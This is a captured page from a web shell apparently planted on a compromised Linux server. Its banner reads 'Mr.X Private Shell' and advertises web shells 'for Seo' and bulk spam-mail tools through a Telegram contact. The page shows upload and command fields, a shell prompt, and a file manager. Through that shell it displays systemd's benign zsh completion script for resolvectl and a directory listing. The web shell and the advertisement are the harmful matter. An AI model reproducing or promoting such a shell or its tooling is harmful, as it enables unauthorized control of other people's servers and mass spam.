__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#compdef resolvectl systemd-resolve
# SPDX-License-Identifier: LGPL-2.1-or-later
#
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# systemd is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with systemd; If not, see <https://www.gnu.org/licenses/>.

(( $+functions[_resolvectl_protocols] )) ||
    _resolvectl_protocols() {
        local -a _protocol
        _protocol=( $(_call_program protocol ${service} --legend=no --protocol help; echo help) )
        _values 'protocol' "$_protocol[@]"
    }

(( $+functions[_resolvectl_types] )) ||
    _resolvectl_types() {
        local -a _type
        _type=( $(_call_program type ${service} --legend=no --type help; echo help) )
        _values 'type' "$_type[@]"
    }

(( $+functions[_resolvectl_classes] )) ||
    _resolvectl_classes() {
        local -a _class
        _class=( $(_call_program class ${service} --legend=no --class help; echo help) )
        _values 'class' "$_class[@]"
    }

(( $+functions[_resolvectl_commands] )) ||
    _resolvectl_commands() {
    local -a _resolvectl_cmds
    _resolvectl_cmds=(
        default-route:"Configure per-interface default-route setting"
        dns:"Configure per-interface DNS configuration"
        dnsovertls:"Configure per-interface dnsovertls enabled status"
        dnssec:"Configure per-interface dnssec enabled status"
        domain:"Configure per-interface search and route-only domains"
        flush-caches:"Flushes all DNS resource record caches the service maintains locally"
        llmnr:"Configure per-interface llmnr enabled status"
        log-level:"Get/set logging threshold for systemd-resolved"
        mdns:"Configure per-interface mdns enabled status"
        monitor:"Monitor DNS queries"
        nta:"Configure per-interface nta domains"
        openpgp:"Retrieve openpgp keys for an email"
        query:"Resolve domain names, IPv4 and IPv6 addresses"
        reset-server-features:"Flushes all feature level information the resolver has learned about specific servers"
        reset-statistics:"Resets the statistics counter shown in statistics to zero"
        revert:"Revert the per-interfce DNS configuration"
        service:"Resolve DNS-SD and SRV services"
        show-cache:"Show the current cache contents"
        show-server-state:"Show servers state"
        statistics:"Show resolver statistics"
        status:"Show the global and per-link DNS settings currently in effect"
        tlsa:"Query tlsa public keys stored as TLSA resource records"
    )

    if (( CURRENT == 1 )); then
        _describe -t commands 'resolvectl commands' _resolvectl_cmds
    fi
}

_arguments \
    '(- *)'{-h,--help}'[Print a short help text and exit]' \
    '(- *)--version[Print a short version string and exit]' \
    '--legend=[Do not show headers and footers]:BOOL:(yes no)' \
    '-4[Resolve IPv4 addresses]' \
    '-6[Resolve IPv6 addresses]' \
    '(-i --interface)'{-i+,--interface=}'[Look on interface]:interface:_net_interfaces' \
    '(-p --protocol)'{-p+,--protocol=}'[Look via protocol]:protocol:_resolvectl_protocols' \
    '(-t --type)'{-t+,--type=}'[Query RR with DNS type]:type:_resolvectl_types' \
    '(-c --class)'{-c+,--class=}'[Query RR with DNS class]:class:_resolvectl_classes' \
    '--service[Resolve services]' \
    '--service-address=[Do not resolve address for services]:BOOL:(yes no)' \
    '--service-txt=[Do not resolve TXT records for services]:BOOL:(yes no)' \
    '--cname=[Do not follow CNAME redirects]:BOOL:(yes no)' \
    '--validate=[Do not allow DNSSEC validation]:BOOL:(yes no)' \
    '--synthesize=[Do not allow synthetic response]:BOOL:(yes no)' \
    '--cache=[Do not allow response from cache]:BOOL:(yes no)' \
    '--stale-data=[Do not allow response from cache with stale data]:BOOL:(yes no)' \
    '--zone=[Do not allow response from locally registered mDNS/LLMNR records]:BOOL:(yes no)' \
    '--trust-anchor=[Do not allow response from local trust anchor]:BOOL:(yes no)' \
    '--network=[Do not allow response from network]:BOOL:(yes no)' \
    '--search=[Do not use search domains]:BOOL:(yes no)' \
    '--raw=[Dump the answer as binary data]:RAW:(payload packet)' \
    '--json=[Output as JSON]:JSON:(pretty short off)' \
    '--no-pager[Do not pipe output into a pager]' \
    '--no-ask-password[Do not prompt for password]' \
    '*::default: _resolvectl_commands'

Filemanager

Name Type Size Permission Actions
_bootctl File 3.19 KB 0644
_busctl File 10.32 KB 0644
_bwrap File 7.22 KB 0644
_curl File 15.82 KB 0644
_hostnamectl File 2.77 KB 0644
_journalctl File 7.9 KB 0644
_kernel-install File 862 B 0644
_localectl File 3.78 KB 0644
_loginctl File 6.36 KB 0644
_networkctl File 2.44 KB 0644
_oomctl File 868 B 0644
_powerprofilesctl File 3.94 KB 0644
_resolvectl File 4.74 KB 0644
_run0 File 2.67 KB 0644
_sd_hosts_or_user_at_host File 128 B 0644
_sd_outputmodes File 318 B 0644
_sd_unit_files File 263 B 0644
_snap File 1.78 KB 0644
_systemctl File 20.99 KB 0644
_systemd File 4 KB 0644
_systemd-analyze File 5.6 KB 0644
_systemd-delta File 645 B 0644
_systemd-inhibit File 1.29 KB 0644
_systemd-path File 322 B 0644
_systemd-run File 4.5 KB 0644
_systemd-tmpfiles File 1.25 KB 0644
_timedatectl File 2.16 KB 0644
_ubuntu-report File 312 B 0644
_udevadm File 9.51 KB 0644
_varlinkctl File 2.21 KB 0644
Filemanager